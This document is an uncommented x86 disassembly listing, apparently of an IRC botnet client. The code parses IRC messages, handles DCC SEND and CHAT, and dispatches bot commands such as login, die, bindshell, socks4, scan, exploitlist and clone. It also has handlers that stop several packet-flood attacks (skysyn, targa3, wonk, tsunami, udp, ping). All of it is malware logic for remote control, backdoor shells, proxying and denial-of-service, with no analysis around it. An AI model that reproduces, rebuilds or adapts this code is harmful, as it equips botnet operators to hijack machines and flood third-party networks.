loc_401FC0: ; CODE XREF: .nsp0:00401FADj
lea eax, [ebp-0E00h]
push 21h
push eax
call sub_41C650
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz loc_401D6C
push eax
call sub_41B890
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_41B890
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401D6C
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS ; ":%s%s"
push esi
call sub_41BF36
push ebx
lea eax, [ebp-45ECh]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 24h
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_40202B: ; CODE XREF: .nsp0:00401F05j
push esi
push offset aPart ; "PART"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_40204D
push esi
push offset aQuit ; "QUIT"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40207E
loc_40204D: ; CODE XREF: .nsp0:0040203Aj
xor esi, esi
mov [ebp+14h], edi
loc_402052: ; CODE XREF: .nsp0:00402076j
mov eax, [ebp+14h]
cmp [eax], bl
jz short loc_40206B
push dword ptr [ebp-90h]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_4020C1
loc_40206B: ; CODE XREF: .nsp0:00402057j
add dword ptr [ebp+14h], 80h
inc esi
cmp esi, 1
jl short loc_402052
mov esi, [ebp-8Ch]
loc_40207E: ; CODE XREF: .nsp0:0040204Bj
push esi
push offset a353 ; "353"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40211F
push dword ptr [ebp-80h]
push dword ptr [ebp+10h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_4020AD
mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_4020AD: ; CODE XREF: .nsp0:004020A2j
push dword ptr [ebp-80h]
push offset unk_4335D8
loc_4020B5: ; CODE XREF: .nsp0:00404399j
; .nsp0:00404743j ...
call sub_41581A
loc_4020BA: ; CODE XREF: .nsp0:004036B2j
pop ecx
loc_4020BB: ; CODE XREF: .nsp0:004095B5j
pop ecx
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_4020C1: ; CODE XREF: .nsp0:00402069j
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C0h]
shl esi, 7
push offset unk_4335B4
push eax
mov [esi+edi], bl
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
push dword ptr [ebp-8Ch]
push offset aPart ; "PART"
call sub_41C710
add esp, 18h
test eax, eax
jnz loc_401D6C
lea eax, [ebp-2C0h]
push eax
mov eax, [ebp-90h]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401D61
; ---------------------------------------------------------------------------
loc_40211F: ; CODE XREF: .nsp0:0040208Dj
; DATA XREF: .nsp0:0042C298o
push dword ptr [ebp-8Ch]
mov edi, offset aPrivmsg ; "PRIVMSG"
push edi
call sub_41C710
pop ecx
mov esi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402173
push dword ptr [ebp-8Ch]
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_402173
push dword ptr [ebp-8Ch]
push offset dword_4335A0
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4097B8
cmp dword_42908C, ebx
jz loc_4097B8
loc_402173: ; CODE XREF: .nsp0:00402139j
; .nsp0:0040214Bj
push dword ptr [ebp-8Ch]
push edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4022F3
push dword ptr [ebp-8Ch]
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4022F3
mov eax, [ebp-84h]
inc dword ptr [ebp-80h]
push 4
mov [ebp-88h], eax
pop esi
mov [ebp-0A8h], esi
loc_4021B7: ; CODE XREF: .nsp0:004023AFj
; .nsp0:004023EBj ...
shl esi, 2
mov eax, [ebp+esi-90h]
lea edi, [ebp+esi-90h]
push eax
push offset dword_433598
mov [ebp+10h], eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_402578
push dword ptr [ebp+esi-8Ch]
push offset aSend_0 ; "SEND"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_402442
cmp [ebp-0A4h], ebx
jz loc_40241B
push dword ptr [ebp+esi-88h]
mov edi, offset aS_2 ; "%s"
lea eax, [ebp-1B80h]
push edi
push eax
call sub_41BF36
push dword ptr [ebp+esi-84h]
lea eax, [ebp-1B94h]
push edi
push eax
call sub_41BF36
push dword ptr [ebp+esi-80h]
call sub_41BE29
mov [ebp-19FCh], eax
mov eax, [ebp+0Ch]
mov [ebp-1B9Ch], eax
lea eax, [ebp-0C0h]
push 7Fh
push eax
lea eax, [ebp-1A7Ch]
push eax
call sub_41BCA0
mov eax, [ebp-4]
mov [ebp-19F4h], eax
mov eax, [ebp-8]
mov [ebp-19F0h], eax
lea eax, [ebp-1A7Ch]
push eax
lea eax, [ebp-1B80h]
push eax
lea eax, [ebp-2C0h]
push offset unk_43355C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 1Ah
push eax
call sub_40B00E
add esp, 44h
mov [ebp-19F8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1B9Ch]
push ebx
push eax
push offset loc_4167C7
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-19F8h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz loc_40929E
loc_4022DD: ; CODE XREF: .nsp0:004022F1j
cmp [ebp-19ECh], ebx
jnz loc_40833C
push 32h
call dword_427064 ; Sleep
jmp short loc_4022DD
; ---------------------------------------------------------------------------
loc_4022F3: ; CODE XREF: .nsp0:00402183j
; .nsp0:00402199j
push dword ptr [ebp-8Ch]
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40230C
mov dword ptr [ebp-4], 1
loc_40230C: ; CODE XREF: .nsp0:00402303j
cmp [ebp-88h], ebx
jz loc_401D6C
push offset dword_42C2A0
push dword ptr [ebp-88h]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_402333
cmp [ebp-4], ebx
jz short loc_40233F
loc_402333: ; CODE XREF: .nsp0:0040232Cj
lea eax, [ebp-0C0h]
mov [ebp-88h], eax
loc_40233F: ; CODE XREF: .nsp0:00402331j
cmp [ebp-84h], ebx
jz loc_401D6C
inc dword ptr [ebp-84h]
jz short loc_40238B
cmp [ebp+18h], ebx
jz short loc_40238B
lea eax, [ebp-338h]
push eax
call sub_41B890
push eax
lea eax, [ebp-338h]
push dword ptr [ebp-84h]
push eax
call sub_41C510
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp-0A8h], esi
jmp short loc_402391
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: .nsp0:00402351j
; .nsp0:00402356j
mov esi, [ebp-0A8h]
loc_402391: ; CODE XREF: .nsp0:00402389j
mov edi, [ebp+esi*4-90h]
cmp edi, ebx
jz loc_401D6C
push edi
push offset dword_433550
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4021B7
mov ecx, [ebp-88h]
cmp byte ptr [ecx], 23h
jz short loc_4023DC
mov eax, dword_4D10A4
mov eax, off_42914C[eax*4]
cmp [eax], bl
jz short loc_4023DC
push eax
push ecx
push offset dword_433534
jmp loc_401D61
; ---------------------------------------------------------------------------
loc_4023DC: ; CODE XREF: .nsp0:004023BEj
; .nsp0:004023CEj
push edi
push offset dword_43352C
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4021B7
mov eax, [ebp+esi*4-8Ch]
cmp eax, ebx
jz loc_4021B7
mov ecx, [ebp-88h]
cmp byte ptr [ecx], 23h
jz loc_4021B7
push eax
push ecx
push offset dword_433514
jmp loc_401D61
; ---------------------------------------------------------------------------
loc_40241B: ; CODE XREF: .nsp0:00402201j
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset unk_4334D0
push eax
call sub_41BF36
add esp, 10h
jmp loc_40833C
; ---------------------------------------------------------------------------
loc_402442: ; CODE XREF: .nsp0:004021F5j
push dword ptr [ebp+esi-8Ch]
push offset aChat ; "CHAT"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40258E
cmp [ebp-0A4h], ebx
jz loc_402567
push 1Bh
call sub_40B256
test eax, eax
pop ecx
jnz loc_402556
push dword ptr [ebp+esi-84h]
lea eax, [ebp-2AA8h]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
push dword ptr [ebp+esi-80h]
call sub_41BE29
mov [ebp-2910h], eax
mov eax, [ebp+0Ch]
mov [ebp-2AB0h], eax
lea eax, [ebp-0C0h]
push 7Fh
push eax
lea eax, [ebp-2990h]
push eax
call sub_41BCA0
mov eax, [ebp-4]
mov [ebp-2908h], eax
mov eax, [ebp-8]
mov [ebp-2904h], eax
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C0h]
push offset unk_4334A8
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 1Bh
push eax
call sub_40B00E
add esp, 34h
mov [ebp-290Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2AB0h]
push ebx
push eax
push offset dword_416264
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-290Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_402545
loc_40252F: ; CODE XREF: .nsp0:00402543j
cmp [ebp-2900h], ebx
jnz loc_40833C
push 32h
call dword_427064 ; Sleep
jmp short loc_40252F
; ---------------------------------------------------------------------------
loc_402545: ; CODE XREF: .nsp0:0040252Dj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_433470
jmp loc_40832D
; ---------------------------------------------------------------------------
loc_402556: ; CODE XREF: .nsp0:00402473j
lea eax, [ebp-0C0h]
push eax
push offset unk_433440
jmp loc_40832D
; ---------------------------------------------------------------------------
loc_402567: ; CODE XREF: .nsp0:00402463j
lea eax, [ebp-0C0h]
push eax
push offset unk_43340C
jmp loc_40832D
; ---------------------------------------------------------------------------
loc_402578: ; CODE XREF: .nsp0:004021DAj
mov eax, [ebp+10h]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401D6C
loc_40258E: ; CODE XREF: .nsp0:00402457j
mov edi, [edi]
push edi
push offset aLogin ; "login"
mov [ebp+10h], edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aHi_0 ; "hi"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
cmp [ebp-0A4h], ebx
jnz short loc_4025DF
push dword ptr [ebp-8Ch]
push offset dword_4335A0
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4097B8
loc_4025DF: ; CODE XREF: .nsp0:004025C3j
cmp [ebp+30h], ebx
jnz loc_4097B8
xor edi, edi
cmp dword_42B684, ebx
jle loc_402794
mov dword ptr [ebp+28h], offset dword_4433A0
loc_4025FD: ; CODE XREF: .nsp0:0040261Cj
push dword ptr [ebp+10h]
push dword ptr [ebp+28h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_402623
add dword ptr [ebp+28h], 0B8h
inc edi
cmp edi, dword_42B684
jl short loc_4025FD
jmp loc_402794
; ---------------------------------------------------------------------------
loc_402623: ; CODE XREF: .nsp0:0040260Cj
push offset asc_433690 ; " :"
push dword ptr [ebp+8]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401D6C
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_4433B8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BCA0
lea eax, [ebp+esi-50h]
add esp, 0Ch
mov dword ptr [ebp+28h], 0Fh
mov [ebp+14h], eax
loc_402678: ; CODE XREF: .nsp0:00402729j
push dword ptr [ebp+28h]
lea eax, [ebp-0A0h]
push offset aD_1 ; "$%d-"
push eax
call sub_41BF36
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41BFB0
add esp, 14h
test eax, eax
jz short loc_4026E4
mov eax, [ebp+14h]
cmp [eax], ebx
jz short loc_4026E4
lea eax, dword_4433A0[edi]
push eax
call sub_41B890
add [ebp-0Ch], eax
pop ecx
jz short loc_40271F
mov eax, [ebp+14h]
push dword ptr [eax-4]
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40271F
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41869A
add esp, 0Ch
jmp short loc_40271F
; ---------------------------------------------------------------------------
loc_4026E4: ; CODE XREF: .nsp0:004026A0j
; .nsp0:004026A7j
mov eax, [ebp+14h]
cmp [eax], ebx
jnz short loc_40271F
lea eax, [ebp-0A0h]
push 2
push eax
lea eax, [ebp-94h]
push eax
call sub_41BCA0
lea eax, [ebp-94h]
mov [ebp-92h], bl
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41869A
add esp, 18h
loc_40271F: ; CODE XREF: .nsp0:004026B9j
; .nsp0:004026CDj ...
dec dword ptr [ebp+28h]
sub dword ptr [ebp+14h], 4
cmp [ebp+28h], ebx
jg loc_402678
lea eax, [ebp+esi-50h]
mov dword ptr [ebp+28h], 10h
mov edi, eax
loc_40273C: ; CODE XREF: .nsp0:00402788j
push dword ptr [ebp+28h]
lea eax, [ebp-0A0h]
push offset aD_0 ; "$%d"
push eax
call sub_41BF36
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41BFB0
add esp, 14h
test eax, eax
jz short loc_40277F
mov eax, [edi]
cmp eax, ebx
jz short loc_40277F
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41869A
add esp, 0Ch
loc_40277F: ; CODE XREF: .nsp0:00402764j
; .nsp0:0040276Aj
dec dword ptr [ebp+28h]
sub edi, 4
cmp [ebp+28h], ebx
jg short loc_40273C
mov dword ptr [ebp-2C4h], 1
loc_402794: ; CODE XREF: .nsp0:004025F0j
; .nsp0:0040261Ej
mov eax, [ebp+10h]
mov al, [eax]
cmp al, byte_429094
jz short loc_4027AD
cmp [ebp-2C4h], ebx
jz loc_40299E
loc_4027AD: ; CODE XREF: .nsp0:0040279Fj
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe ; "$me"
push edi
call sub_41869A
lea eax, [ebp-0C0h]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_41869A
push dword ptr [ebp-88h]
push offset aChan ; "$chan"
push edi
call sub_41869A
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40AFA5
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_41869A
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_2 ; "$server"
push edi
call sub_41869A
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_41BFB0
add esp, 14h
loc_40281F: ; CODE XREF: .nsp0:00402917j
test eax, eax
jz loc_40291C
push edi
push dword ptr [ebp+8]
call sub_41BFB0
mov [ebp+18h], eax
add eax, 5
push 4
push eax
lea eax, [ebp-0A0h]
push eax
call sub_41BCA0
lea eax, [ebp-0A0h]
push offset asc_4333C8 ; ")"
push eax
call sub_41C794
add esp, 1Ch
cmp byte ptr [ebp-0A0h], 30h
jl short loc_40286B
cmp byte ptr [ebp-0A0h], 39h
jle short loc_402881
loc_40286B: ; CODE XREF: .nsp0:00402860j
push 3
lea eax, [ebp-0A0h]
push offset a63 ; "63"
push eax
call sub_41BCA0
add esp, 0Ch
loc_402881: ; CODE XREF: .nsp0:00402869j
lea eax, [ebp-0A0h]
push eax
call sub_41BE29
test eax, eax
pop ecx
jle short loc_4028A7
lea eax, [ebp-0A0h]
push eax
call sub_41BE29
pop ecx
mov [ebp-94h], al
jmp short loc_4028BB
; ---------------------------------------------------------------------------
loc_4028A7: ; CODE XREF: .nsp0:00402890j
call sub_41BF92
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-94h], dl
loc_4028BB: ; CODE XREF: .nsp0:004028A5j
lea eax, [ebp-0A0h]
mov [ebp-93h], bl
push eax
call sub_41B890
mov [ebp+28h], eax
push 0Ch
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_41BC40
mov eax, [ebp+28h]
add eax, 6
push eax
lea eax, [ebp-0A0h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
lea eax, [ebp-94h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41869A
push edi
push dword ptr [ebp+8]
call sub_41BFB0
add esp, 30h
jmp loc_40281F
; ---------------------------------------------------------------------------
loc_40291C: ; CODE XREF: .nsp0:00402821j
mov edi, 1FFh
lea eax, [ebp-4488h]
push edi
push dword ptr [ebp+8]
push eax
call sub_41BCA0
lea eax, [ebp-4488h]
push edi
push eax
lea eax, [ebp-4AF0h]
push eax
call sub_41BCA0
lea eax, [ebp-4AF0h]
push offset asc_43368C ; " "
push eax
call sub_41C794
add esp, 20h
mov [ebp-90h], eax
lea edi, [ebp-8Ch]
mov dword ptr [ebp+18h], 1Fh
loc_40296C: ; CODE XREF: .nsp0:00402981j
push offset asc_43368C ; " "
push ebx
call sub_41C794
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp+18h]
pop ecx
jnz short loc_40296C
mov ecx, [ebp+esi-90h]
lea eax, [ebp+esi-90h]
cmp ecx, ebx
jz loc_401D6C
add ecx, 3
mov [eax], ecx
loc_40299E: ; CODE XREF: .nsp0:004027A7j
mov edi, [ebp+esi-90h]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+10h], edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40976B
push edi
push offset aRn ; "rn"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40976B
push edi
push offset aDie ; "die"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404A20
push edi
push offset aD ; "d"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404A20
push edi
push offset aLogout ; "logout"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40497E
push edi
push offset aLo ; "lo"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40497E
push edi
push offset aVersion ; "version"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40496F
push edi
push offset aVer ; "ver"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40496F
push edi
push offset aDedication ; "dedication"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404965
push edi
push offset aDed ; "ded"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404965
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40494C
push edi
push offset aSt ; "st"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40494C
push edi
push offset aSecure ; "secure"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40484E
push edi
push offset aSec ; "sec"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40484E
push edi
push offset aUnsecure ; "unsecure"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40484E
push edi
push offset aUnsec ; "unsec"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40484E
push edi
push offset aBindshell ; "bindshell"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404748
push edi
push offset aBd ; "bd"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404748
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402B62
push dword ptr [ebp+esi-8Ch]
push 6
push offset aServer_0 ; "Server"
push offset dword_433328
loc_402B46: ; CODE XREF: .nsp0:00402BB0j
; .nsp0:00402BD6j ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B29C
add esp, 20h
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_402B62: ; CODE XREF: .nsp0:00402B31j
push edi
push offset aSocks4 ; "socks4"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404626
push edi
push offset aS4 ; "s4"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404626
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB2
push dword ptr [ebp+esi-8Ch]
push 19h
push offset aServer_0 ; "Server"
push offset dword_433300
jmp short loc_402B46
; ---------------------------------------------------------------------------
loc_402BB2: ; CODE XREF: .nsp0:00402B9Bj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDB
push dword ptr [ebp+esi-8Ch]
push 9
push offset aServer_0 ; "Server"
push offset dword_4332E4
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402BDB: ; CODE XREF: .nsp0:00402BC1j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402C04
push dword ptr [ebp+esi-8Ch]
push 3
push offset aServer_0 ; "Server"
push offset dword_4332C8
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402C04: ; CODE XREF: .nsp0:00402BEAj
push edi
push offset aLogstop ; "logstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2D
push dword ptr [ebp+esi-8Ch]
push 25h
push offset dword_4332B4
push offset dword_4332A8
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402C2D: ; CODE XREF: .nsp0:00402C13j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402C56
push dword ptr [ebp+esi-8Ch]
push 18h
push offset dword_433288
push offset dword_433278
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402C56: ; CODE XREF: .nsp0:00402C3Cj
push edi
push offset dword_43326C
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402C7F
push dword ptr [ebp+esi-8Ch]
push 0Dh
push offset dword_433260
push offset dword_433254
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402C7F: ; CODE XREF: .nsp0:00402C65j
push edi
push offset aSy1stop ; "sy1stop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA8
push dword ptr [ebp+esi-8Ch]
push 0Eh
push offset dword_433240
push offset dword_433234
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402CA8: ; CODE XREF: .nsp0:00402C8Ej
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD1
push dword ptr [ebp+esi-8Ch]
push 10h
push offset dword_433218
push offset dword_433208
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402CD1: ; CODE XREF: .nsp0:00402CB7j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402CFA
push dword ptr [ebp+esi-8Ch]
push 11h
push offset dword_4331EC
push offset dword_4331DC
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402CFA: ; CODE XREF: .nsp0:00402CE0j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402D23
push dword ptr [ebp+esi-8Ch]
push 12h
push offset dword_4331C4
push offset dword_4331B8
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402D23: ; CODE XREF: .nsp0:00402D09j
push edi
push offset aPacketstop ; "packetstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_402E79
mov esi, [ebp+esi-8Ch]
mov edi, [ebp+0Ch]
push esi
push 0Dh
push offset dword_433260
push offset dword_433254
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
push esi
push 0Eh
push offset dword_433240
push offset dword_433234
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
add esp, 40h
push esi
push 17h
push offset dword_4331A0
push offset dword_433194
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
push esi
push 16h
push offset dword_433188
push offset dword_43317C
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
add esp, 40h
push esi
push 11h
push offset dword_4331EC
push offset dword_4331DC
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
push esi
push 12h
push offset dword_4331C4
push offset dword_4331B8
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
add esp, 40h
push esi
push 0Fh
push offset dword_43316C
push offset dword_43315C
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
push esi
push 13h
push offset dword_43314C
push offset dword_43313C
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
add esp, 40h
push esi
push 10h
push offset dword_433218
push offset dword_433208
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B29C
push ebx
push dword ptr [ebp-4]
push offset unk_433108
push dword ptr [ebp-88h]
push edi
call sub_4099D2
add esp, 34h
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_402E79: ; CODE XREF: .nsp0:00402D32j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA2
push dword ptr [ebp+esi-8Ch]
push 0Fh
push offset dword_43316C
push offset dword_43315C
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402EA2: ; CODE XREF: .nsp0:00402E88j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECB
push dword ptr [ebp+esi-8Ch]
push 13h
push offset dword_43314C
push offset dword_43313C
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402ECB: ; CODE XREF: .nsp0:00402EB1j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF4
push dword ptr [ebp+esi-8Ch]
push 17h
push offset dword_4331A0
push offset dword_433194
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402EF4: ; CODE XREF: .nsp0:00402EDAj
push edi
push offset aPingstop ; "pingstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402F1D
push dword ptr [ebp+esi-8Ch]
push 16h
push offset dword_433188
push offset dword_43317C
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402F1D: ; CODE XREF: .nsp0:00402F03j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402F46
push dword ptr [ebp+esi-8Ch]
push 5
push offset aServer_0 ; "Server"
push offset dword_4330C0
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402F46: ; CODE XREF: .nsp0:00402F2Cj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40460E
push edi
push offset aFfstop ; "ffstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40460E
push edi
push offset aProcsstop ; "procsstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045F6
push edi
push offset aPsstop ; "psstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045F6
push edi
push offset aClonestop ; "clonestop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC3
push dword ptr [ebp+esi-8Ch]
push 1Fh
push offset aClone ; "Clone"
push offset dword_433070
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402FC3: ; CODE XREF: .nsp0:00402FA9j
push edi
push offset aSecurestop ; "securestop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_402FEC
push dword ptr [ebp+esi-8Ch]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_43304C
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_402FEC: ; CODE XREF: .nsp0:00402FD2j
push edi
push offset aScanstop ; "scanstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_403015
push dword ptr [ebp+esi-8Ch]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_43302C
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_403015: ; CODE XREF: .nsp0:00402FFBj
push edi
push offset aScanstats ; "scanstats"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045E0
push edi
push offset aStats ; "stats"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045E0
push edi
push offset aTransferstats ; "transferstats"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045CA
push edi
push offset aTrstats ; "trstats"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045CA
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045B4
push edi
push offset aCbstats ; "cbstats"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4045B4
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40459E
push edi
push offset aExplist ; "explist"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40459E
push edi
